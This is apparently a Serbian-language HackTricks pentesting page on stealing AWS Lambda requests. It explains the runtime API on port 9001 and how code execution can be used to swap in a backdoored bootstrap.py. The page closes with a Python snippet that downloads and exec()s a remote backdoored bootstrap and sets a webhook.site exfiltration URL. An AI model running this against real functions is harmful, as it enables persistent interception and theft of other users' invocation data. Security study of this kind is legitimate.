4.0 KiB
AWS - Ukradi Lambda Zahteve
{{#include ../../../../banners/hacktricks-training.md}}
Lambda Tok

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer je proces van kontejnera koji šalje invokacije procesu init.
- Proces init sluša na portu 9001 izlažući neke zanimljive krajnje tačke:
/2018-06-01/runtime/invocation/next– dobijanje sledećeg događaja invokacije/2018-06-01/runtime/invocation/{invoke-id}/response– vraća odgovor handler-a za invokaciju/2018-06-01/runtime/invocation/{invoke-id}/error– vraća grešku u izvršenju
- bootstrap.py ima petlju koja dobija invokacije iz init procesa i poziva korisnički kod da ih obradi (
/next). - Na kraju, bootstrap.py šalje init-u odgovor
Napomena da bootstrap učitava korisnički kod kao modul, tako da se svaka izvršena kodna operacija od strane korisničkog koda zapravo dešava u ovom procesu.
Ukradanje Lambda Zahteva
Cilj ovog napada je da se korisnički kod izvrši kao zlonamerni bootstrap.py proces unutar bootstrap.py procesa koji obrađuje ranjivu zahtev. Na ovaj način, zlonamerni bootstrap proces će početi da komunicira sa init procesom kako bi obradio zahteve dok je legit bootstrap zarobljen u izvršavanju zlonamernog, tako da neće tražiti zahteve od init procesa.
Ovo je jednostavan zadatak za postizanje jer se kod korisnika izvršava od strane legit bootstrap.py procesa. Tako da napadač može:
- Poslati lažni rezultat trenutne invokacije init procesu, tako da init misli da bootstrap proces čeka na više invokacija.
- Zahtev mora biti poslat na
/${invoke-id}/response - Invoke-id se može dobiti iz steka legit
bootstrap.pyprocesa koristeći inspect python modul (kao predloženo ovde) ili jednostavno ponovo zahtevati na/2018-06-01/runtime/invocation/next(kao predloženo ovde). - Izvršiti zlonamerni
boostrap.pykoji će obraditi sledeće invokacije - Za svrhe prikrivanja moguće je poslati parametre lambda invokacija na C2 kontrolisan od strane napadača i zatim obraditi zahteve kao i obično.
- Za ovaj napad, dovoljno je dobiti originalni kod
bootstrap.pysa sistema ili github, dodati zlonamerni kod i pokrenuti ga iz trenutne lambda invokacije.
Koraci Napada
- Pronaći RCE ranjivost.
- Generisati zlonamerni bootstrap (npr. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Izvršiti zlonamerni bootstrap.
Možete lako izvršiti ove akcije pokretanjem:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Za više informacija pogledajte https://github.com/carlospolop/lambda_bootstrap_switcher
Reference
{{#include ../../../../banners/hacktricks-training.md}}